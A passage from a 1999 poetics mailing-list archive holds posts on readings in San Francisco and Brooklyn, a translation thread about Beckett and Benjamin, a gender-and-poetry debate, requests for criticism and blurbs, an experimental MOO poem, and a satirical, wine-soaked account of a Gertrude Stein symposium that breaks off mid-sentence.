Michel Delville
English Department
University of Liège
3 Place Cockerill
4000 Liège
BELGIUM
fax: ++ 32 4 366 57 21
e-mail: [redacted]

↑ Index

130. A. Jenn Sondheim
Moment on Media MOO
Thu 11 Feb 1999

/

Moment on Media MOO

Tiffany
dense entanglement of fluid, you-know-language, aural, i course thru u, i u, Tiffany course thru julu, Tiffanyjulu, breath floods, clitoral, eyes stained by u, u lay me out, lance, skin, nipples, on Menstrual Table, you-know-language

Obvious exits: out to Living Quarters - 2nd Floor
You see lance, skin, Menstrual Table, Tiffanyjulu, you-know-language, nipples, clitoral, anal, aural, and envelope here.
Member name Connected Idle time Location
--- --- --- ---
Julu (#10747) 15 minutes 0 seconds Tiffany

Total: 1 member, who has been active recently.
There is only one member invisible to you.
You say, "I can take off my clothes and run around in fountains! I can kill Tiffany and bring Nikuko with me! Yay! Here she comes, Hi Nikuko!" Julu is totally delusional, Nikuko declares, NO ONE IS HERE IDIOT!
You say, "I heard that!"
You say, "Nikuko, I heard that!"
Julu plunges the lance through his skin on Menstrual Table, Dies.
_____media_____02:51
"Nikuko, I heard that!
:plunges the lance through his skin on Menstrual Table, Dies.
:lies down on Menstrual table crying you-know-language

↑ Index

131. Burt Hatlen

Ted Enslin

Thu 11 Feb 1999

As some of you may know, The National Poetry Foundation is publishing the Selected Poems of Ted Enslin. It is at press and the paperbacks should be available in two or three weeks. Today we are putting together copy for the dustjacket of the hardcover edition, and we find ourselves with some blank space on the back cover. We have two good quotes culled from reviews of Enslin's work. But if anyone out there would like to e-mail us a jacket blurb of three or four sentences, we might have space for it on the cover. Hank Lazar, I'm thinking especially of you. But I hope there might be some other Enslin fans on the list, too.

Please backchannel me at [redacted]

Burt Hatlen

↑ Index

132. Linda V Russo
Berrigan, Jarnot & BATTLE OF THE SEXES
Thu 11 Feb 1999

dear interested persons:

I'd be interested in some more specificty as to the quality of this perceived 'better'-ness. What for example does "john" see in the work of women that he doesn't see in the work of men? in which case we can only proceed in such a discussion point-by-point since it's of limited use to make sweeping generalizations -- which is i think what chris s. was objecting to in the first place. Maybe you can begin, chris, by saying a few words abt. your chosen (male) few & we can look for said qualities or deficiencies in the work of his female contemporaries?

Anselm Berrigan & Lisa Jarnot read to a sizeable crowd here at UB in the Poetics Program's "Wednesdays @ 4+" series

Mike Kelleher gave a superb introction and

Anselm read first from INTEGRITY & DRAMATIC LIFE which appeared to be an apt title from where I sat. His poems were almost superabundant even, fast, full, exciting, touching even, but never overwhelming or 'overdone' and by the way he read i could see there was something "off the page" about his work. I tried to envision line breaks and couldn't, and didn't need to. His delivery and presence were entrancing (i will say instead of 'charming') and his poems were indeed trance-like in the best sense of the word: they brought this audience member to another state, somewhat alien in his sensibility (but never alienating) and altogether engaging-- alien so as to be "citizen" (to play off the first short poem he read).

then Mike Kelleher gave a superb introduction and Lisa Jarnot then read from new material. Perhaps her poems were superabundant even too -- though the abundance is treated in a constantly "worried" familiarity wrought in her use of repetition. I found this formalism very engaging -- the "familiarity" of repetition made constantly strange in its changing formulations. I'm mean "worried" in the best sense -- as in having worked over, cared for -- though it would be false to say that her work was anymore or less worked-over than anselm's -- repetition just makes it sound that way. Case in point: the excited tenor or her work seems to have made one audience member quite anxious: he turned to chris for the time and then to myself, demanding that i repeat myself about 3 times increasing the volume. He seemed to be satisfied that is was only quarter to five & Lisa was permitted to continue speaking. I read this interruption as evidence also the Lisa Jarnot's work takes one to another place.

The better poetry of our time is interruptive. Truly super and abundant both.

I find it interesting chris that you write:
> but the best books I've read in the last year by young writers
> all seem to be male for me (NOTICE very carefully my wording--
> I am not saying that the MALES are the superior sex or anything,

that it is the "books" that are male: yet your list is only of male writers (in which case we might be justified in charging you with saying that males are the superior sex! (can't a woman write a "male" book?) -- and you're right, it's ridiculous to make such an assertion or for me now to try to attribute it to you, but here it is right "on paper" as it were)

Where I then to move back out to generalities I would have to admit that I agree with Kathy Lou Schultz . . . "fashionable please . . ." I did not choose my sex. I do fashion my gender, in a fashion, but not according to some poetic fasionism (or even fetishism, or fascism) -- I write from where I find myself in the world to be in another place in that or "our" world -- I think it is that circumstance that would lead one to generalize as to the "better"-ness (still an unsatisfactory descriptor) of women's work: women are imaging and creating their places in poetry while at the same time the places of previous generations of women poets are being re-imagined, the damage of several decades of sexist critical approaches finally being worn through. The 'better' of "female" poetry continues that process. The 'better' of male poetry must then take on something else? I will leave that an open invitation to argue/respond/reply . . .

best,
Linda V. Russo

↑ Index

133. Jordan Davis
Meters 1
Thu 11 Feb 1999

---

6 filmmakers & 6 poets collaborate:

Lee Ann Brown & Alystyre Julian
Matthew Buckingham & Kostas Anagnopoulos
Daniel Herman & Tim Griffin
David Kalal & Jeremy Sigler
Christina Kelly & Jordan Davis
Gang Zhao & Jun Jun

Saturday, Feb. 13, 8pm @ Salon 300

300 Graham Avenue, Williamsburg, NY

Take L to Graham Avenue

Walk two blocks south

↑ Index

134. Pete Neufeld
Translation
Thu 11 Feb 1999

I find this discussion very timely since I'm in a seminar lead by Norma Cole on this subject. I just wanted to add two notes to the lists of readings/translators and their effects. Beckett, in his translation of a poem by Rimbaud, casts "Dix nuits" into "Nine nights." I feel like in that move something very radical in the act of translation is being revealed, a kind of necessary errancy that establishes an economy between the languages not previously in place-- unheimlich. The other note is on Benjamin. First, I think the _Task of the Translator_ fascinates me in that Benjamin chooses the subject of translation as a point into the discussion of poetic language. That move seems revealing to me. I also wonder to what extent that essay informs Benjamin's trans. of Baudelaire which it originally introduced. Has anyone read those German translations? Second, I find it perversely amusing that, as De Man points out in his essay on Benjamin, this text on translation in its English translation has some gross errors, where in one instance "translatable" is substituted with "untranslatable"-- "Dix moins neuf nuits."

Pete

↑ Index

135. Catherine Daly
Cool Hong Kong job
Thu 11 Feb 1999

---

from the LA Times:

City University of Hong Kong is hiring an Associate/Assistant Professor of Expository/Creative Writing/Critical Studies

The position gets to create the courses/program. Instruction is in English.

their web site is http://www.cityu.edu.hk

Rgds,
Catherine Daly
[redacted]

↑ Index

136. Aldon Nielsen
Weatherly Whereabouts
Thu 11 Feb 1999

> Some years ago, people on this list knew how to reach poet Tom Weatherly -- Can anybody supply a current address for him? I need to contact him for permission to reprint some poems --

↑ Index

137. David Baratier
Introduction
Thu 11 Feb 1999

I need an introduction written for Hands Collected: The books of Simon Perchik
to be released by Pavement Saw Press this fall.
The book is 540 pages plus introduction & new poems.
I have blurbs from James Tate and the late David Ignatow.
I would prefer something scholarly.
Does anyone have an interest on this list?
Or
Does anyone know anyone who might?

I also need a few other blurbs. Backchannel. Thanks--

Be well

David Baratier

↑ Index

138. juliana spahr
[Fwd: literary criticism]
Thu 11 Feb 1999

This is a multi-part message in MIME format.

Date: Sat, 06 Feb 1999 11:48:57 -0800
From: juliana spahr <[redacted]>
To: a poetics list <[redacted]>
Subject: literary criticism

I'm enjoying this list in the new concentrated formula!

I'm teaching a graduate literary criticism writing workshop next year. Like a poetry writing workshop. Only with lit crit. We'll do some reading and some writing and some workshopping.

I plan right now to hit the alternative and the regulated and stuff in between.

But in general, what are works of lit crit that might make good example texts?

I'm more interested in lit crit written in the last 10 years. Like I don't want to treat this as a survey or historical perspective of lit crit. They get that torture in another class.

But I really need examples of lit crit on periods other than contemporary poetry. I'm trying to collect works that do things like handle large historical arguments well, or moments where author's insert their own subjectivity, or mixes of anthropology and lit crit, or excellent uses of progressive argumentation, or excellent uses of fractured argumentation, or excellent uses of anecdote and story, or whateva. You get the idea.

THanks.

Juliana Spahr

----------BF9FFAF6BD9BB1A020F25112--

↑ Index

139. Catherine Daly
Wheeler Hammer Reading
Fri 12 Feb 1999

Susan Wheeler is reading at the Armand Hammer Museum in Westwood Feb. 18 at 7 p.m. Museum parking is $3.00.

Rgds,
Catherine Daly

↑ Index

140. Poetics List
misc.
Fri 12 Feb 1999

All - just a reminder that as a matter of course, and especially now when we're having a host of technical demons rapping at the table, it were best to restrict your posts to announcements and discussion related specifically to poetry and poetics. I was unable to reach this account during the day because of the temporary server's "limited resources" - now that I have gotten through (at quarter past my bedtime and with a terrible lag between my typing and what appears on screen) it's not heartening to open the inbox and find 25 messages out of seventy are about the spelling of Clinton's name.

Chris

↑ Index

141. Poetics List
Mirror Man
Fri 12 Feb 1999

---------- Forwarded message ----------
Date: Thu, 11 Feb 1999 00:29:29 EST
From: [redacted]
To: [redacted]
Subject: Re: message?

In a message dated 99-02-09 16:31:14 EST, you write:

<< David (Pere Ubu) Thomas's new record, "Mirror Man," is swirling brilliant sunken narrative rocker with guest musicians such as Linda Thompson, Chris Cutler, the Kidney Brothers, Jackie Leven, Peter Hamill, Daved Held, Jane Bam Bom, and his latest band, The Two Pale Boys. I do a few poetry spins as well. In fact, there's a whole poetry element to David's work that really comes together in "MM."

As David writes, "Mirror Man will be released the end of March in the UK on Cooking Vinyl and the end of April in the US on Thirsty Ear. In the meantime, I am soliciting suggestions for who & where to take the thing for media coverage out of the ordinary pop music circles. Clearly this is a work of rare art and doesn't fit ANYWHERE. So of course it's doomed to a non-existence. In the futile effort to prevent that, any suggestions gratefully received."

Ideas?

Bob Holman
[redacted]

↑ Index

142. david bromige
re translation
Fri 12 Feb 1999

Re Pete Neufeld's note concerning dix nuits/nine nights, I recall that in Sweden, trettondagsafton (thirteenth day's eve) occurs when twelfth night would be the equivalent festival in england, and this makes me wonder whether the Beckett tr. of Rimbaud is more a matter of such appelation rather than any one-for-one violation. Any one know? David

↑ Index

143. dbkk
Burns, Fodaski, Armantrout, Ortiz, in San Francisco
Fri 12 Feb 1999

Hi everyone, it's Kevin Killian. With Dodie Bellamy in London I'll try posting some announcements in her place about the upcoming events at Small Press Traffic here in San Francisco. First off is Friday February 12 (tonight) with Avery Burns and Elizabeth Fodaski.

Friday, February 12, 7:30 p.m.
New College Theater
777 Valencia Street (San Francisco)
$5

Avery Burns
Elizabeth Fodaski

No friend to linearity, Avery Burns was born in California 1961, and has edited the astonishing magazine "lyric&" since 1992. His publications include Differing Senses of Motion, Sabin, and Fragments Formerly Attributed to Archilocus. Recent work appears in Chain, Lowghost, Idiom Online, and Poetry New York. Burns' poetry, so fresh and so chiseled, extends the familiar trajectory of Melville-Pound-Williams-Creeley-Eigner-Grenier into new and exciting blips and scrawls of Typee/Omoo Pacific Rim chance operation Basho funk.

Elizabeth Fodaski's recent writing posits a little man in her head, "allied to Socrates," who's not especially reliable, kind, or perhaps good for a woman's peace of mind, a man who forces all kinds of questions and connections about invasion, possession, ownership and invention. "This is not your flowering flower found in a field you know." We have lost Hannah Weiner but now we have Liz Fodaski. Born and raised in New York City, where she still lives, Elizabeth Fodaski is a curator for the Segue Foundation's reading series at Double Happiness and the editor/publisher of Torque. She was a finalist for the National Poetry Series and has been published in Lingo, Big Allis, Chain, and Mirage #4/Period(ical).

And now here's another reading that will take place next Friday, February 19, 1999:

Friday, February 19, 7:30 p.m.
New College Theater
777 Valencia Street
$5

Rae Armantrout
Travis Ortiz

Her newly published memoir, True (Atelos), is an unsparing and wry account of a difficult childhood and questioning adolescence redeemed by a vocation to poetry. Since then she has written some of the finest poetry I know, mapping new routes to heaven and hell via daily life and its beautiful familiars, the plain, the orgiastic, the angry and the rueful. Rae Armantrout's recent books are Necromance (Sun & Moon), Made To Seem (Sun & Moon), writing the plot about sets (a Chax chapbook);The Pretext is forthcoming from Sun & Moon. Her work has appeared in numerous anthologies, including In The American Tree, Best American Poetry of 1988, Postmodern American Poetry: A Norton Anthology, From The Other Side Of The Century, Out of Everywhere, Moving Borders: Three Decades of Innovative Writing By Women and Poems for the Millennium, Vol II. Her poems have recently appeared in such periodicals as New American Writing, Conjunctions, Raddle Moon and Talisman. Armantrout teaches in the writing program at UCSD.

Travis Ortiz' first book, geography of parts, has recently appeared from Melodeon Poetry Systems. What appeals to me about his writing is the ways in which complex relations among line, word, and image reveal themselves slowly, suspensefully, with the edges cut, the exposition delicious. For the first time I can see the white space between words take on meaning like one of those nature time-lapse sequences on public TV. Travis Ortiz is co-editor of Atelos Publishing Project. He also edits a series of short books of poetry that highlight the visual aspects of poetry called ghos-ti- (an indo-european root pronounced "gaws-tee"). His poems has appeared in Chain, Salt, Mirage #4/Period[ical], Lyric&, River City. His "text collages," or visual poems, have appeared in Prosodia and Mirage. He was a contributing editor for Chain's "Different Languages" issue.

There! That wasn't so hard. And of course if you are in London tonight you can go and see Dodie Bellamy reading, with Tim Atkins and Andrea Brady, at some reading space over there that I'm not familiar with. Alone here in San Francisco, eying the ocean, I feel like Mr. Norman Maine!

Thanks,
Kevin Killian

↑ Index

144. Michael Boughn
Re: [Fwd: literary criticism]
Fri 12 Feb 1999

Julanna, you might check out Stanley Cavell's _Disowning Knowledge in Six Plays of Shakespeare" or alternatively (on Romanticism) _In Quest of the Ordinary_. Both I think meet your criteria.

Best,
Mike

↑ Index

145. Maria Damon
Re: BATTLE OF THE SEXES
Fri 12 Feb 1999

---

this is a wonderful formulation, jacques. aside from considerations of "the work itself" and aesthetic judgments thereof, which this discussion primarily addresses, is the question of the conditions under which a text is produced; and here i find the gender of the writer, embedded as it must be in social contingencies, potentially extremely interesting.

At 4:09 PM -0500 2/10/99, Jacques Debrot wrote: >Much more interseting than the sex of the author, it seems to me, is the >linguistic sexuality of the work itself -- oral, phallic, anal, labial, >etc., etc. or any of these in combination. --That is, what types of >sexualities, surfacing as varieties of poetic speech, produce the most >interesting language?

↑ Index

146. Karen Kelley
Paul Beatty
Fri 12 Feb 1999

Does anyone have an address/email for Paul Beatty? Please backchannel.

↑ Index

147. Magdalena Zurawski

Poets who want attention

Fri 12 Feb 1999

Come See Some Bands with Some Poets in Them:

<bold>The Sleeves

</bold>(Prageeta Sharma - drums, Magdalena Zurawski - Guitar, Jeanne Gilliland - Bass)

<bold>Cranky

</bold>(Poetless but exciting)

<bold>Picnic

</bold>(With the famous Matt Rohrer)

Saturday, February, 20th, 1999 9pm

@

THE CHARLESTON BAR, 174 Bedford Ave (Btw. N. 7th & N. 8th), Williamsburg, Brooklyn

(L to Bedford Ave)<bold>

</bold>

<bold>Magdalena Zurawski

Executive Development Programs

Stern School of Business

</bold>44 W. 4th Street

New York, NY 10012-1126

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

tel: [redacted]

fax: [redacted]

Departmental E-mail: [redacted]

Website: www.stern.nyu.edu/executive

↑ Index
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

148. David Zauhar
Re: [Fwd: literary criticism]
Fri 12 Feb 1999

These books have to be out of print by now, but Bernard Sharratt has a couple of books -- I think the titles are Literary Labrynth and Reading Relations -- from the mid '80s. These works explore the border between fiction and theory, since Sharratt assumes various personas who then contribute to an anthology of criticism edited by Sharratt proper. These essays, if I remember correctly, aren't parodies (I mean, he doesn't make up names like Anatole Jouissance or Jacques Strappe to represent French post-whatever) but they're not always free of satirical elements either.

I wonder if Guy Davenport's essays might work too. Not overly theoretical, mostly meant for non-academic audiences, but still fairly thoughtful.

And of course, Susan Howe, who I'm sure Juliana S. has already thought of.

David Zauhar
University of Illinois at Chicago

"Opaque melodies that would bug most people, Music from the other side of the fence."

--Captain Beefheart

↑ Index

149. david hess
Dave's Adventures in Steinland
Fri 12 Feb 1999

In the event my first mailing of this was deleted in one of the computer malfunctions, I'm re-sending the piece. - DH

Dear List Members and Voyeurs of the Word,

At the urging of Lee Ann Brown I attended a symposium held at Washington University in St. Louis from Feb. 5-7 called Gertrude Stein@The Millenium, in honor of the 125th anniversary of her birth. (Lee Ann skipped it for Mardi Gras in New Orleans -- probably a wise decision as you shall see). Several notables attended and spoke, including Kenneth Koch, Marjorie Perloff, Lyn Hejinian, Jacques Roubaud and Stan Brakhage. Although I was not able to make the first day's events or even the evening events, such as the world premiere of GERTRUDE AND ALICE: A LIKENESS TO LOVING, I did make most of the remaining panels and readings. Despite these huge gaps I believe I can be counted on as a reliable witness to these proceedings (which were held in a courtroom on the Law School campus no less). So here are my uncensored and unauthorized notes and observations, gut reactions and tenderest emotions, all put on display to you my friends for your perusing pleasure. If the poetry world had a Hard Copy or an Entertainment Tonight or an Access Hollywood this would be it for sure and I would be a cross between Hunter S. Thompson and John Tesh. Gross.

Friday, Feb. 5: The conference started off with a bang, or a whimper (St. Louis being the birth place of T.S.E. you know) depending on where you're from. Bill Gass gave the introductory keynote. Then Kenneth Koch said something. Then there were readings by a lot of people, then a buffet, and then the world premiere of 'Gertrude and Alice'. I would have gone were it not for a job that requires me to be at a certain place at a certain time and do very certain things for which I get paid a very certain amount of money. Hmmm, for all these certainties I seem to live in a very uncertain world.

Speaking of money, registration to this conference cost $100! As the registration form said, this "includes prime seating at all conference proceedings [and, they should have added, access to the microphones], buffet dinner Friday night, bag lunch Saturday, one ticket to the Friday evening performance of Gertrude and Alice, and invitation to the postproduction opening of the Stein exhibit at Special Collections." Nothing was said about the other events being open to the public and none of the locations of the events were even listed on the flyer. I guess this would explain the low turnout, which they, Washington University, seemed to want by having the readings in such a small room.

Saturday, Feb. 6: At ten o'clock was a panel called "'Writing [arrow symbol] Writing'". I got there early and got prime seating, slipping past the guards without a pass and landed right behind the Gertrude and Alice from the previous night's play. Joan Retallack, Ulla Dydo, and Harryette Mullen spoke. Retallack, who went first, read a speech which confirmed my suspicion that Stein is now losing her specific radicality as quickly as a Missouri cornfield loses its rich topsoil from overplowing and overfertilization. Stein, strip-mined for her literary nitrogen, is fast becoming the next Eliot, the next pinata in which every form of intellectual candy and currency can be found. In other words, according to Retallack and others, there is nothing Stein does not do, nothing her writing fails to achieve. * Retallack began with a series of chapters that only contained one or two sentences and got giggles when she said these were the actual chapters. She spoke of the connection between coincidence and crime, which I guess are two Steinian words, said things like "so then is like that and now farther" (very Steinian), then spoke of the difference between imagination and fantasy as first laid out by D.W. Winnicot, and then spoke of Stein's "copious marginalia" and "risky sensuality" which "knocks over laps"(?!).

Then she combined the words poetics and ethics into a new word: Poethics. At this point I nearly burst out laughing because I recently put a sign on my bookcase by the criticism section that reads: "Critter-schism/Po' Ethics." Somehow I was able to keep my fake poise while continuing to take notes. * Retallack then mentioned something about "consequential forms of life" and brought in another binary between ethos and aesthetic process and declared that she was interested in "what is at stake" in Stein (a question I'll get to later or try to ask and/or answer). She described our contemporary experience for wanting to escape from the quotidian into fantasy (a tendency Stein's work supposedly resists by making us stay in the present in the way station of the signifier) and ended up with the exact same analysis Charles Bernstein preaches in "Artifice of Absorption," i.e. fantasy is bad for you folks or something like that. (Fantasy, fairy tales, poetry -- these are the things that make us, keep us, human, bro). So much for "risky sensuality" I would argue. Because sensuality is so lacking in our lives (maybe not in yours -- I don't want to insult anyone -- but in most I would say, or maybe not, how the hell do I know) it can't help but be a fantasy. Or, if you want to know the quotidian I'd suggest going to an adult videostore (many of which are called "Fantasy") and buying a porno. Stay with me, okay. * Retallack went on to speak of Stein's "transvaluation of nonsense" and "lush thickets of intelligibility" and finally revealed why she spoke of coincidence and crime at the beginning of her speech: Stein tried to write a detective story ("Blood on the Dining Room Floor") and remained fascinated by this genre which represents one form of fantasy. Stein said: "I like detecting. There are so many things to detect." Retallack spoke of the contrast between a standard writer of detective stories, Edgar Wallace, and Stein and her "permutative, investigative writing." Stein is about "contemporary living" while detective writing (and most other forms of writing as well) are centered on the past (because that's when the murder happened, duh). * All right, so is Stein for or against fantasy? Given Retallack's hyperbolic treatment I would have to say for. For we then got to hear a commentary on the fractal nature of Stein's writing, its "poly-directional surface continuum" and "local indeterminacy" as "sole life principle" along with its "urgent scenes [or was it "urgencies"?] of complex intersections." Then came the predictable babble about quantum mechanics [standard bar code of radicality for New Agers and avant-garde posers] and talk of Niels Bohr, etc. Stein, we are told, does not "imitate nature" (AS IF it could be imitated, as if Nature were just another object fully available to experience) but accomplishes "exhilarating acts of intention, attention, and invention." Read: she's a modernist. No news here. Unfortunately, Retallack seems to say everything while almost saying nothing in a speech punctuated with empty phrases like "pattern differentia" which I guess would be another name for wallpaper. * The one thing Retallack did bring up that was important was the question of time and contemporaneity. Stein believed in living one's contemporariness and believed that the comtemporary artist should express the time sense of the age they are living in. This would seem to be where lies the matter of "what is at stake" in Stein. This is a question I should have asked early on at the symposium: is Stein still contemporary, is her way of writing -- an asyntactic, metonymic, (discontinuous) continuous present -- still able to express time in 1999? If the modernists found themselves living in an age that discovered that the past was no longer present (driving some modernists like Joyce or Proust -- the former being, in many ways, Stein's opposite, or poison to her antidote as Jacques Roubaud argued in his talk later on -- to make the past constantly present in their works), I would offer that we are now living in a time when the present is no longer present but always in the past waiting to be retrieved or in the future waiting to be acquired. Fredric Jameson, in one of his ceaseless attempts to diagnose and describe the 'postmodern', speaks of a "nostalgia for the future" as being a ubiquitous characteristic of contemporary mass culture -- one of the few observations of his I happen to agree with and one which reveals how any formulation of such a time without a present immediately becomes a nearly impossible, tautological task. This would explain, in part, the overcrowded definitional emptiness of postmodernism. So there is no present and so there is no postmodern -- both are contemporary fantasies (is this why Ashbery -- in his time shifts from the end of the past to the middle of the future and all combinations in between -- is the supreme postmodern poet?). Well, that's my analysis for now but the question remains what kind of writing can express this time of the missing present, this time which is no time? More on this later I hope. * Ulla Dydo, a scholar who has devoted her life to reading Stein, spoke next or rather her husband Bill did, preceding her. He read from a compilation of Stein quotations which centered around the word 'it'. Ulla spoke of Stein's one opus as a continuous process and how this process was suddenly interrupted once she had acquired the fame she desired for so long. At one point Stein said "I lost my personality" and faced a writer's block she had never experienced before -- this was around the time of the writing of the autobiography. Then Bill read more from the language of 'it': "a husk that can / hold anything that / can empty out anything." * Mullen, the last speaker, read a speech called "If Lilies are Lily White" which raised some of the more interesting questions with regard to Stein and the matter of race. She discussed the "underlying thematic continuity" (despite the linguistic break) from Melanctha to Tender Buttons, and Stein's preoccupation with sexual and racial stereotypes (fantasy, folks) which is expressed for Mullen by the statement in TB: "difference is spreading." While race and sex are overtly treated in Melanctha they function more covertly in TB with sentences and phrases like "a single hurt color," "dirty is yellow," "a piece of coffee," "color is in coal, "a light white, a disgrace, an ink spot," and "a rosy charm." Just flipping through TB I can find: "A white bird, a colored mine, a mixed orange, a dog"(46, Sun&Moon, 1991) and, of course, "A white hunter is nearly crazy"(27). And lower on 27 under the heading "SUPPOSE AN EYES" a hilarious working of gender codes: "A soldier a real soldier has a worn lace a worn lace of different sizes that is to say if he can read, if he can read he is a size to show shutting up twenty-four." (Shutting up twenty-four as in shutting up the talk of the clock). Mullen sees a link between the violence Stein does to grammar codes and the covert violence of domestic life. Stein caricatures the obsession of white bourgeoisie with the possibility of miscegenation in the association of color with dirt and whiteness with vulnerability. Mullen spoke of Stein's exploitation of color as a short hand for the delineation of character in Melanctha (characters become a string of adjectives) and questioned whether she was interrogating the color-coding or affirming it. Melanctha, a black mulatto who is described by Stein as yellow and suicidal (blue - the melancholy in her name) thus draws attention to the fantastical constructedness of racial identity. Color both reveals and conceals identity. Mullen also spoke of the cultural milieu of the time the works were written: the Harlem Renaissance with its honky spokesman, Carl Van Vecten, the incorporation of primitivism by Picasso and others, and the bourgeois bohemianism of someone like Stein who could maintain a mixture of both domestic order and syntactic disorder. Despite these doubts about Stein's dealing with race, Mullen, an African-American, finally claimed her as a major influence on her work.

After a short break it was the prolific avant-garde filmmaker Stan Brakhage's turn. Before showing us his films, he spoke of the omnipresence of the present moment in Stein, her "ideology of repetition." He commented on "metaphor as an evasion" (I guess this goes along with fantasy) and said something to the effect that metaphor was invented so members of a royal court could say something in other terms in order not to get their heads chopped off. (I disagree: I think metaphor -- deriving from the Greek word for transport -- was invented because of a lack of words to describe something our ancestors, in their migrations, newly encountered. Metaphor is evidence of our early speechlessness, our straining to put something into terms we have no means to signify. Metaphors are the fossils of our speechlessness.) Then the filmmaker Brakhage said something else I disagree with: "linguistic description is intrinsically futile" (as if it, accuracy, is all or nothing, as if there is only truth and falsity and nothing else). He spoke of the glyphic roots of language and painting, the cursed "obligation to represent." He spoke of Stein's anti-didactic writing and made mention of her METAPHOR for orgasm: "cow," which is probably what the earliest humans called it, too. He spoke of his absolute distate for autobiography and the qualities of dailiness in Stein's writing which he admires and tries to emulate. He said he wanted to disrupt the "picture as container" which functions as a kind of hypnosis for the viewer (i.e. fantasy, once again, is bad you, too many hours of fantasy a day will make your brain rot). Then he showed us his film VISIONS IN MEDITATION (1989) which utilized a constantly moving camera with quick fade-ins and fade-outs of houses, interiors and shots of rivers, trees, mountains and ice floes. He spoke of trying to get to "the fullest exactitude of meaning imaginable" and of his attempt to rid film of all referentiality. At this point Marjorie Perloff put him in his place with her comment that c'mon of course the film has referentiality, it's showing us something. But Stan said heroically no "I'm resisting these references" and I just want (you) "to experience the music" man. Stan said he felt threatened by representation (which ones? what kind? we never find out), that he wanted to share his innermost feelings with us dude. He wanted "moving visual thinking," "thinking without memory," and wanted to "stick with the daily" (does he ever make movies about boring jobs? - now that's the daily). He aspired to "something that encloses unto itself" where "everything is answerable to itself, a world unto itself" -- sounds like a fairy tale to me. Despite Brakhage's sloppy thinking (at one point he declared that "we're all slobs"???) his movies remind us of our unending need to find meaning in the things we see, especially if they are human representations such as films, by his keeping the camera always in motion and keeping most of the objects, particularly the natural ones, out of focus. The restlessness of his films reflects our restlessness back into our faces and somehow they also manage to express a sense of serenity or meditation that Stein's writing also seems to express. Someone in the audience made the observant comment that whenever the eye begins to linger on something in one of his films the camera immediately breaks away. Stan, like Joan Retallack in her speech, said he was against "sucking you into it" which is what commericial films or genres designed to escape the quotidian do. Stan spoke of the double negative of Stein's escaping of the 'escaping the quotidian' as a reason for her writing's intense use of negatives. He said he believed in an "anti-transcendental impulse" which presents something "perceived, felt, before it can be named." He said he was "grateful for the Earth" and a few other nice things which also can't be named....

Lyn Hejinian was up next (by this time it was around 4:00pm) and I was growing weary of taking notes and was starting to feel the effects of some wine I drunk earlier in honor of the absentee Lee Ann Brown and out of anger for missing the U.S.-Germany soccer game (which the U.S. won by the way in a huge upset, 3-0, as if you poets care) in order to be present for all the panels, so I apologize for the oncoming Brakhagian haziness, but at least I won't force you to fantasize about this event any longer. (Of course, if you want to fantasize about me that's okay: I'm 6'01, 195 lbs, brown eyes, birthmark on my left thigh...). But back to reality. Lyn talked about STANZAS IN MEDITATION and how when she was at a low point in her life she read this and it made her happy. Yes, happy. (I tried this trick later that night and it didn't work, so I had some more wine). Retallack piped up and said it made her happy, too. Then Lyn spoke of the need for the ordinary (I guess because of its perceived innocence -- what could be ordinary anymore in this world of globalized capital?), the elusivity of the present, and quoted Nietzsche's "the duration of the impermanence of everything actual" which nicely describes the internal contradition between the constancy of the present and its simultaneous ephemerality. She spoke of the sensory effects of Stein's writing which are made all the more stronger for the plotlessness of her work. She spoke of flatness as a virtue in Stein, her "achievement of the commonplace," her focusing on what we all take for granted, saying that "happiness, like the commonplace, has no plot." She spoke of her relationship with William James, whom Stein studied under, and his philosophy of "where things are," of concreteness and immediacy. She spoke of Stein's relation to the public and private spheres and how she found freedom in the household and salon away from the male-dominated 'polis'. She spoke of Stein's resistance to the usual modernist "attempts at totalization." Unable to drop the happy talk, she concluded that "happiness is living one's contemporaneousness." In other words, Stein, the cure-all, was happy and will make us happy. During the question-answer session much discussion was had about Stein and authority -- did she want or yield authority?, did she try to subvert it?, etc. This discussion was, of course, had by those authorities on Stein in attendance: Catherine Stimpson, Marjorie Perloff, Retallack, Hejinian....

After this we all walked over to another building for the readings by Gass, Hejinian, Mullen, Retallack, and Roubaud, which were scheduled for the day before but I guess had to be postponed because Kenneth Koch wouldn't put a lid on it. More wine was available as people schmoozed and munched and walked in circles like buzzards waiting to pounce on the dying bodies of important conversations. I myself stayed near the wine which was going fast and made sure no fights broke out because of the wine or a lack thereof. By the time the reading started the room, which began to revolve around me in an increasingly more wobbly orbit, had been transformed into the "poly-directional surface continuum" Retallack spoke of before. I had finally made it, across the desert of narrative, to Steinland. William Gass floated up to the podium and I saw how fitting the name was. Sounds escaped from his quotidian lips like porcelain bats out of cave. Crash. I ducked as he read something about a dog his dad would not let him have as a kid. Lyn Hejinian aroused from my stomach undigested food matter as any snakecharmer would a snake by reading a poem called "Happily." Harryette Mullen made sure the aroused matter did not find its way into the lap of the person sitting next to me by reading something good which was published in Callallo. Then Joan Retallack and Lyn Hejinian merged into some scary siamese langpo creature made of undifferentiated linguistic tissue called Joan Retallack from which came more theory with line breaks. Jacques Roubaud said some stuff in French which was translated to me by a little green gnome with a French-English dictionary. Did you know that "vache" means an orgasm that lives in France?

Then it was over, Day 2 of Steinland. I made a dash for the exit as Marjorie Perloff cornered two of my friends and asked them if they were in the Wash U. Writing Program, which in these parts is like being asked the dreadful questions "are you still a virgin?" "are you experienced?" "have you done anal?" Later that night at a local anti-Steinland open mic I got to hear a Frenchman with a gigantic gray hair piece read a poem he wrote for a woman whom he gave his card to and told to call him in two months. She did not ("it was her loss" he said) and so he wrote a poem which contained these lines: "I send you a note and you do not reply. I send another just to ask why." Ah the French, so goddamn lovable.

Sunday, Feb.7: Like Day 2, Day 3 began at 10 o'clock. I got to the courtroom late for the first panel "Writing [arrow symbol] Performance" in which the Gertrude and Alice and the director of the play spoke about their experience of trying to stage Stein, trying to present a continuous present. I bit my tongue because I could have slept in more. Referring to Stein, Gertrude said "we all love her" which seemed to be the mantra of the entire symposium. At one point Gertrude blurted out about herself: "I'm a cheap theatrical whore!" Then the director said she wanted to dance when younger but realized she couldn't, from being kind of hefty I guess. * Then there was the final panel called "Writing [arrow symbol] Reading" with Perloff, Stimpson, and Roubaud. Perloff batted lead-off and rattled off a series of line drives to everyone's Sunday morning hungover cerebrums. Man can she talk. Her paper was probably the best of the conference and the least obnoxious. She began with a critique of Stein as the exemplary postmodernist and argued for reading her as a modernist again. Examples of Stein's modernism can be found in her 1935 essay "What Are Masterpieces and Why Are There So Few of Them." In other words, Stein believed in masterpieces (and genius and its authority) whereas a hallmark of postmodernism is the belief in the end or the impossibility of masterpieces (which is a side effect of 